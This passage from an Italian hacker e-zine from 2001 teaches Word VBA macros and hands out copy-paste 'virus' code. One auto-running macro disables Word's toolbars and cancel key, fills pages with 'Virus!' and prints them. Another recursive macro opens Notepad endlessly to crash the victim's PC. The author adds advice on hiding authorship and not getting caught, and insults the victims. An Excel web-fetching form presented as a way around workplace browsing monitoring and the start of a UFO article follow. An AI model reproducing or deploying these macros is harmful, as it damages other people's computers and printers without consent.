VbInformation Visualizza l'icona di messaggio di informazione.
VbDefaultButton1 Il primo pulsante è il predefinito.
VbDefaultButton2 Il secondo pulsante è il predefinito.
VbDefaultButton3 Il terzo pulsante è il predefinito.
VbDefaultButton4 Il quarto pulsante è il predefinito
VbApplicationModal Finestra di messaggio a scelta obbligatoria nell'applicazione. L'utente deve rispondere alla finestra di messaggio prima di poter continuare a lavorare nell'applicazione corrente.
VbSystemModal Finestra di messaggio a scelta obbligatoria nel sistema. Tutte le applicazioni vengono sospese fino a quando l'utente non risponde alla finestra di messa

Quindi:

Sub pippo()
macro creata il xx da xxxx
MsgBox "
L'utente ha compiuto una cazzata estrema, e dovrebbe andare a fanculo!", VbCritical, "Microsoft World Domination!"
End Sub

Un messaggio non molto simpatico, sopratutto se viene visualizzato ad ogni apertura di Word:

Sub AutoExec()
macro creata il xx da xxxx
MsgBox "
L'utente ha compiuto una cazzata estrema, e dovrebbe andare a fanculo!", VbCritical, "Microsoft World Domination!"
End Sub

Se non mettete il nome del pulsante o il titolo, Word ci mette il predefinito: come pulsante quello "
solo ok" e come titolo "Microsoft Word".
Ma ora passiamo a InputBox: visualizza una finestra con la possibilità che l'utente immetta del testo.......lo so che non avete capito un caxxo,
ma non temete....


Sub pippo()
macro creata il xx da xxxx
InputBox("
Testo, "Titolo","Parola già presente nello spazio dove l'utente mette la risposta")
End Sub

Ovviamente il testo inserito dall'utente può essere controllato, per esempio se l'utente inserisce una risposta sbagliata alla nostra domanda........ ;)

Sub pippo()
macro creata il xx da xxxx
InputBox("Fino ad ora hai capito tutto?", "Microsoft World Domination!")
End Sub

Anche qui non dovete dimenticare le virgole e le parentesi.
Ma come posso divertirmi a spese del coglione con le cose che vi ho spiegato?
Semplicemente tramite il comando (già spiegato!) If.....Else.....End If!

Sub pippo()
macro creata il xx da xxxx
o = InputBox("Kondor era il soprannome di Mitnick?", "Microsoft Hacked") <== Domanda
If o = "si" <== Giusta risposta
MsgBox "Hai ragione!"
Else <== Se la risposta è sbagliata..
MsgBox "Brava merda hai sbagliato!"
End IF
End Sub

Alcuni di voi si saranno chiesti che cosa è quella "o" con "=" davanti a InputBox?
E' come se fosse il "nome" della funzione, tramite il quale poi richiamiamo la funzione e le assegnamo una risposta corretta.
Con "Else" la macro non accetta nessuna risposta diversa da "si", nemmeno "Si", quindi attenzione a non sbagliare.
Se volete verificare la macro usate il copia-incolla e poi la eseguite!

Ed ora il virus della settimana!
Più che un virus che devasta tutto è un banale virus che causerà molti problemi a chi usa parecchio word. ;)
Potete scegliere tra due variabili:

- la prima fa qualche domandina, spara qualche messaggio e, anche se l'utente (miracolosamente) è riuscito a rispondere esattamente a tutte le domande, il virus se ne fotte e agisce
- il secondo è il codice del virus, diretto e senza messaggi.
Se volete usarli tutti e due fate il copia-incolla per entrambi, ma se volete mettere delle domande create da voi o dei vostri messaggi, fate pure! Tanto ora ne siete capaci (spero!) ;)
ELIMINATE IN VISUAL BASIC LA PARTE IN CUI DICE "MACRO CREATA IL XX DA XXXX", NON SI SA MAI!


Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
Application.FindKey(KeyCode:=wdKeyAlt + wdKeyF11).Disable
Application.FindKey(KeyCode:=wdKeyAlt + wdKeyF8).Disable
MsgBox "Errore nell'apertura di word.", vbCritical
MsgBox "Impossibile aprire un nuovo documento.", vbCritical
MsgBox "Si desidera correggere l'errore riscontrato?", vbInformation
MsgBox "HAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!!!!!!!", vbCritical
MsgBox "Oh no! Ti sei cuccato un virus!!", vbCritical, "Microsoft Word è sotto il mio controllo!"
MsgBox "Ed ora che farai?", vbInformation, "Microsoft Word è sotto il mio controllo!"
MsgBox "Se tu vuoi posso anche non infettarti, basta solo che tu risponda correttamente alle mie domande.", vbExclamation, "Microsoft Word è sotto il mio controllo!"
MsgBox "Caro (si fa per dire!), " & Application.UserName & ", sei pronto?", vbDefaultButton4, "Microsoft Word è sotto il mio controllo!"
MsgBox " Via!"
MsgBox "Ah! Dimenticavo: NON valgono le risposte in maiuscolo, scrivi TUTTO in minuscolo!", vbCritical, "Microsoft Word è sotto il mio controllo!"
l = InputBox("Come si dice in tedesco la parola PIANOFORTE?", "Dove vai se le lingue non le sai?", "Scrivi qui testa di cazzo!")
If l = "klavier" Then
MsgBox "Però!! Il nostro " & Application.UserName & " sa anche il tedesco!", vbExclamation, "Microsoft Word è sotto il mio controllo!"
Else
MsgBox "Ma " & Application.UserName & " tu non sai proprio un cazzo!", vbCritical, "Microsoft Word è sotto il mio controllo!"
End If
e = InputBox("Qual'è il nome dell'ingegnere amico di Fantozzi?", "Micro-Software World Domination")
If e = "filini" Then
MsgBox "Bravo, sei anche un teledipendente!", vbCritical, "Microsoft Word è sotto il mio controllo!"
Else
MsgBox "Penso che anche Fantozzi ora riderebbe di te!", vbCritical, "Microsoft Word è sotto il mio controllo!", "Microsoft Word è sotto il mio controllo!"
MsgBox "HA HA HA HA HA HA HA HA HA HA HA HA!!!!!!!!!!!!!", vbCritical, "Microsoft Word è sotto il mio controllo!", "Microsoft Word è sotto il mio controllo!"
End If
s = InputBox("Come si chiama il virus che paralizzò i sistemi informatici PRIMA di I love you?", "MicroVirus")
If s = "melissa" Then
MsgBox "Bene, così forse non c'è bisogno che io ti devasti la tua misera " & Application.ActivePrinter & "!!!!", vbCritical, "Microsoft Word è sotto il mio controllo!"
Else
MsgBox "NO!! Così non va! Non ci tieni alla tua cara " & Application.ActivePrinter & "?", vbCritical, "Microsoft Word è sotto il mio controllo!"
End If
o = InputBox("Nel film Armageddon con Bruce Willis nel finale lui.....", "MicroMovie", "Scrivi qui che cazzo gli succede!")
If o = "muore" Then
MsgBox "Per fortuna questa l'hai azzeccata!", vbExclamation, "Microsoft Word è sotto il mio controllo!"
Else
MsgBox "Ma allora sei proprio una merda umana!! Neanche l'ultima hai idovinato!!!!", vbCritical, "Microsoft Word è sotto il mio controllo!"
End If
MsgBox "Mi dipiace (come no!) ma devo infettarti.", vbCritical, "Microsoft Word è sotto il mio controllo!"
MsgBox "Clicca su ok per avviarmi, oppure su cancel per non essere infettato."

Questa era la prima parte, quella pattona per divertirsi a scopo della vittima.
Se volete sapere il mio consiglio, è meglio farla breve (non come ho fatto io!) ;)
Perchè l'utente se la vedrebbe ad ogni apertura di un documento, e magari dopo 15 volte capisce il trucco. >:(

Questo sotto è il virus vero e proprio.....il suo utilizzo ideale sarebbe di metterla ad apertura automatica, dato che questo virus
disabilita tutte le barre! Sarebbe come utilizzare Word Pad! Ah no! Word Pad sarebbe troppo bello!
Se però volete usarli tutti e due ci sono delle modifiche da fare:
- nel virus qui sotto cancellate "Sub AutoExec()"
- cancellate tutto da "Selection.Font.ColorIndex = wdRed" fino alla fine.

Se invece usate solo il codice qui sotto mantenete tutto!
Il virus, poi, scrive circa 30 pagine di "Virus!!!" e "Tu hai un virus!!" e poi le stampa tutte e 30!
Buon divertimento..........e NON fatevi beccare!!!!

Sub AutoExec()
CommandBars.ActiveMenuBar.Enabled = False
CommandBars("Drawing").Enabled = False
CommandBars("Formatting").Enabled = False
CommandBars("Standard").Enabled = False
CommandBars("Control Toolbox").Enabled = False
CommandBars("Database").Enabled = False
CommandBars("Picture").Enabled = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Web").Enabled = False
CommandBars("WordArt").Enabled = False
CommandBars("AutoText").Enabled = False
CommandBars("Forms").Enabled = False
CommandBars("Reviewing").Enabled = False
CommandBars("Tables and Borders").Enabled = False
CommandBars("Drawing").Enabled = False
CommandBars("Microsoft").Enabled = False
CommandBars("3-D Settings").Enabled = False
CommandBars("Shadow Settings").Enabled = False
Selection.Font.ColorIndex = wdRed
Selection.Font.Bold = wdToggle
Selection.Font.Size = 72
Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.Font.Size = 20
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdBlack
Selection.TypeText Text:="Tu hai un virus nel tuo computer!"
Selection.TypeParagraph
Selection.Font.ColorIndex = wdRed
Selection.Font.Size = 72
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
Selection.TypeText Text:="V i r u s !"
Selection.TypeParagraph
ActiveDocument.PrintOut True, , wdPrintAllDocument, , , , , "50"

MACRO: PARTE 4° "PROGRAMMAZIONE HARD"

Ok!
Questa parte è dedicata alla programmazione Hard, ovvero le bastardate che possiamo fare con Visual Basic.... ;)
Iniziamo con un comando che ci consente di inviare sequenze di tasti ad un programma, senza dire niente all'utente!
L'istruzione invia sequenze come combinazioni di tasti (per esempio ALT+F4 che chiude la calcolatrice), ed è "SendKeys"

Sub pippo()
SendKeys "Inserire qui le parole o l'azione da compiere"
End Sub

Moolto semplice!
Ma come si può, per esempio, aprire un'applicazione per poi utilizzare la "SendKeys"?
Con questo comando che va memorizzato così com'è, dato che è un pò complicato, ma se voi usate il copia-incolla sarà elementare!


Dim ReturnValue, I
ReturnValue = Shell("IL NOME DEL PROGRAMMA", 1) ' Esegue il programma
AppActivate ReturnValue ' Attiva il programma
SendKeys "LA SEQUENZA DI TASTI DA ESEGUIRE"


Qui ho inserito diretto anche la "SendKeys".
Ok, grazie <MaStRo> per questa lezione di vita, ma mò che faccio?
Mò che faccio......rompiamo qualche pc?
Vi ricordate (nella prima parte) quando ho detto che c'era il modo di eseguire una macro da un'altra? Allora non ne avevo parlato, ma ora ve lo posso spiegare,
basta infatti, prima di "End Sub" inserire:

Sub pippo()
Application.Run MacroName:="Nome della macro, ma SENZA le parentesi()!!" 'esempio
Application.Run MacroName:="topolino" 'capito?
End Sub

Forse qualcuno di voi ci è già arrivato.......cosa succederebbe se noi facessimo:

Sub pippo()
Application.Run MacroName:="pippo"
End Sub

Eh-eh-eh......
La macro pippo() verrebbe eseguita continuamente, fino a che l'utente non stacca la presa del computer o fino a quando il pc collassa (ed io spero che sia così stupido da scegliere la prima opzione!)
Prima di mettere il virus di questa sezione, vi sparo tutti i nomi dei tasti per la "SendKeys":

Tasto Codice

BACKSPACE {BACKSPACE}, {BS}, o {BKSP}
INTERR {BREAK}
BLOC MAIUSC {CAPSLOCK}
CANC {DELETE} o {DEL}
FRECCIA GIÙ {DOWN}
FINE {END}
INVIO {ENTER}o ~
ESC {ESC}
AIUTO {HELP}
HOME {HOME}
INS {INSERT} o {INS}
FRECCIA SINISTRA {LEFT}
BLOC NUM {NUMLOCK}
PGGIÙ {PGDN}
PGSU {PGUP}
FRECCIA DESTRA {RIGHT}
BLOC SCORR {SCROLLLOCK}
TAB {TAB}
FRECCIA SU {UP}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
F13 {F13}
F14 {F14}
F15 {F15}
F16 {F16}

Per specificare una combinazione di tasti con MAIUSC CTRL e ALT, dovete mettere prima del codice del tasto uno o più dei seguenti codici:

Tasto Codice

MAIUSC +
CTRL ^
ALT %

Per dire che MAIUSC , CTRL e ALT vanno tenuti premuti mentre si premono altri tasti, bisogna racchiudere il codice dei tasti tra parentesi.
Per indicare, ad esempio, che occorre premere MAIUSC mentre si premono E e C, si specifica

"+(EC)"

Per indicare che occorre tenere premuto MAIUSC mentre si preme E quindi rilasciare MAIUSC e premere C, si fa:

"+EC"

Per specificare la ripetizione di un tasto, vi utilizzate la forma {tasto numero}: inserite uno spazio tra tasto e numero.

{LEFT 42}

significa premere il tasto freccia SINISTRA 42 volte

{h 10}

significa premere H dieci volte.

E i nomi dei programmi?????

Programma Nome

Excel EXCEL.EXE
Word WINWORD.EXE
Outlook OUTLOOK.EXE
Word-Pad WORDPAD.EXE
Internet explorer IEXPLORE.EXE
Microsoft photo editor PHOTOED.EXE
Power-Point POWERPNT.EXE
Notepad NOTEPAD.EXE
Pulitura disco CLEANMGR.EXE
Calcolatrice CALC.EXE

Alcuni progammi hanno bisogno della stringa completa ("C:\....\programmi\....\..."), per gli altri basta inserire il nome ("NOTEPAD.EXE").

Ed ora il viruzzzzzzzzzzzzzz:

Sub pippo()
Dim ReturnValue, I
ReturnValue = Shell("NOTEPAD.EXE", 1) ' Esegue notepad.
AppActivate ReturnValue ' Attiva notepad.
SendKeys "V I R U S ! ! ! ", True 'Spara la scritta
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
Application.Run MacroName:="pippo"

Esecuzione automatica???????????


Sub AutoExec()
Dim ReturnValue, I
ReturnValue = Shell("NOTEPAD.EXE", 1) ' Esegue notepad.
AppActivate ReturnValue ' Attiva notepad.
SendKeys "V I R U S ! ! ! ", True 'Spara la scritta
Dim ReturnValue, I
ReturnValue = Shell("NOTEPAD.EXE", 1) ' Esegue notepad.
AppActivate ReturnValue ' Attiva notepad.
SendKeys "V I R U S ! ! ! ", True 'Spara la scritta
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
SendKeys "{ENTER}", True
SendKeys "V I R U S ! ! ! ", True
Application.Run MacroName:="AutoExec"

Ora appena il coglione apre word, Notepad si apre automatico infinitamente.

ATTENZIONE!!!!!

Il comando non funziona se mettete 2 comandi ("Dim Value") come sopra nella stessa macro, perchè Visual Basic è molto stupido e non riconosce quale delle due
deve essere eseguita per prima.

TUTTO CHIARO???

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0DiNG] #02 - 18/06/2001 |
| CODING 4 DUMMiEZ: EXCEL:USiAM0 I F0RM .................... [Mysha] 0x14/0x25 |
+-------------------------------------------------------------------------------+

Ben ritrovati a tutti, questa puntata la dedicheremo ai Form e al
loro utilizzo.
Un form non e' nient'altro che una finestra creata da noi che ci
permettera' di semplificare delle operazioni per un utente.
Ho creato un programma, che oltre ad essere utile nell'insegnarvi ad
usare un form, vi sara' di ottimo utilizzo per importare dati da una
pagina web e, chi come me non puo' aprire i browser perche' magari
controllate a vista, possiamo fregarli in questa maniera:)
Solo che ci serve per guardare pagine e non scrivere in campi e
dobbiamo scrivere il nome dell'HTML esatto, se una pagina contiene
frame, non saranno importati. altro...beh, se magari mi darete una
mano, lo aggiorneremo assieme:) e continueremo per far diventare il
nostro programmino di Excel una vero e proprio browser in miniatura:)
Di seguito ci sara' il programma da copiare nel modulo e, i FORM da
disegnare.
Innanzitutto creeremo un nuovo file di excel contenente 2 fogli.
Il primo lo chiameremo "Connessione" e il secondo "Dati".
Poi andremo nell' editor di visual basic e dal menu' inserisci
sceglieremo UserForm.

Inseriremo nel nostro Form 2 ComboBox (Casella combinata) e 2
CommandButton (pulsanti di comando).

------------------------------------------
IUserForm1 I
------------------------------------------
I I
I ------------- ------------- I
I I Combobox1 I I Combobox2 I I
I ------------- ------------- I
I I
I ------------------ ---------------- I
I I CommandButton1 I I ComboButton2 I I
I ------------------ ---------------- I
------------------------------------------

Per scrivere il codice da inserire all'interno dovremo scegliere dal
menu "visualizza" la voce CODICE.

Adesso copieremo quello che segue:
-----Inizia a copiare------------------


Private Sub CommandButton1_Click()
nomehost = ComboBox1
tipo = ComboBox2
UserForm1.Hide 'nasconde il form
Unload UserForm1 'scarica il form
End Sub
Private Sub CommandButton2_Click()
verifica = 1
Unload UserForm1 'scarica il form
UserForm1.Hide 'nasconde il form
End Sub
Private Sub UserForm_activate()
CommandButton2.Caption = "Annulla" 'scrive il nome che compare sul
pulsante2
CommandButton1.Caption = "Ok" 'scrive il nome che compare sul
pulsante1

For x = 1 To 65536 'cicla per compilare il combobox1
loca = "A" & x
Range(loca).Select
sito = ActiveCell
If sito = "" Then GoTo esci
ComboBox1.AddItem sito 'aggiunge la variabile memorizzata nel
combobox1
Next x 'ripete il ciclo

esci:
For x = 1 To 65536 'come sopra ma compila il combobox2
loca = "B" & x
Range(loca).Select
sito = ActiveCell
If sito = "" Then GoTo escib
ComboBox2.AddItem sito
Next x
escib:

End Sub


-----Finisci di copiare----------------


Fatto questo, andremo a compilare anche ad inserire un modulo con il
codice che segue:
-----Inizia a copiare------------------

Public verifica As Double
Public nomehost As String
Public tipo As String
Sub datihost()
inizio:
If ActiveSheet.QueryTables.Count >= 1 Then
ActiveSheet.QueryTables(1).Delete: GoTo inizio 'se il foglio contiene
altre query le chiude tutte
verifica = 0
Sheets("dati").Select
Load UserForm1 'carica il FORM1
UserForm1.Show 'visualizza il FORM1

If verifica = 1 Then GoTo escimi
'CONNETTE
stringaconn = "URL;" & tipo & nomehost
Sheets("Connessione").Select
With ActiveSheet.QueryTables.Add(Connection:=stringaconn, _
Destination:=Range("A1"))
Application.DisplayAlerts = False
.Refresh (False)
End With
'FINE CONNETTE
Sheets("dati").Select
For x = 1 To 65536
loca = "A" & x
Range(loca).Select
sito = ActiveCell
If sito = "" Then GoTo inserisci
If sito = nomehost Then GoTo skippa
Next x
inserisci:
ActiveCell = nomehost
skippa:

For x = 1 To 65536
loca = "b" & x
Range(loca).Select
modo = ActiveCell
If modo = "" Then GoTo inseriscib
If modo = tipo Then GoTo skippab
Next x
inseriscib:
ActiveCell = tipo
skippab:

Sheets("Connessione").Select
ActiveSheet.QueryTables(1).Delete
escimi:
End Sub

-----Finisci di copiare----------------

Bene bene...il lavoro e' fatto.
Ora analizzeremo un paio di cosette.
La definizione prima della riga SUB serve per dire che le variabili
specificate (con il comando PUBLIC) sono di tutto il programma,
quindi non verra' perso il loro valore nel richiamare il form e
viceversa.
La seconda parte "As Double" o "As String" identifica se sono
variabili numeriche o variabili stringa.
In questo programma sfrutteremo le potenzialita' di visual basic di
aprire una connessione con una query e, reperiremo i dati dall'host
specificato.
Dimenticavo...
Quando eseguirete il programma, dovrete scrivere nel combobox1 il
tipo di host (FTP:// o HTTP://) e nel combobox2 il nome del sito
(www.ondaquadra.cjb.net).
Ecco che per magia appare la faccia del sito.
In caso che ci siano reindirizzamenti (come in ondaquadra, vi
segnalera' il nome del sito da inserire nel combobox2:)
Logicamente non importera' le immagini e gli applet java, ma solo il
testo.
Per intanto vi saluto, sono stanca nello scrivere...(ho scritto
tutto in 1 giorno..pant pant...).
Per delucidazioni, chiarimenti o quant'altro..SCRIVETEMI!!!
Baci Baci
Mysha

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=->

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [TWiLiGHT Z0NE] #02 - 18/06/2001 |
| CAS0 M0NGUZZi: DEPiSTAGGi E C0VER-UP ............ [Alfredo Lissoni] 0x15/0x25 |
+-------------------------------------------------------------------------------+

L'INCONTRO SUL BERNINA

Era la mattina del 31 luglio 1952 e Giampiero Monguzzi, un ingegnere della società Edison, era in gita con la moglie Pinuccia Radaelli sui monti del Bernina (SO), sopra il ghiacciaio Scerscen, di ritorno dal rifugio Martinelli. Tutt'a un tratto, nel bel mezzo della scarpinata, Monguzzi avvertì una brezza gelida, che sembrava produrre un rumore simile a quello delle sartie di un antico veliero; poi, improvvisamente l'ambiente circostante diventava curiosamente silenzioso. "Ero vicinissimo a mia moglie", dichiarò in seguito Monguzzi, "ma non sentivo più la sua voce; gridavo e mi accorgevo che lei non mi udiva. E vedevo anche che mia moglie apriva la bocca, ma non veniva fuori la voce. Era un 'silenzio compatto', un 'vuoto' da non stare in piedi. Mia moglie mi guardò spaventata e mi si attaccò ad un braccio". Subito dopo questa sensazione di "silenzio assoluto", tipica di molti avvistamenti e persino di alcuni rapimenti UFO, i Monguzzi avvistavano un grande oggetto scintillante salire dalla parte inferiore del ghiacciaio e posarsi silenziosamente sulla neve. 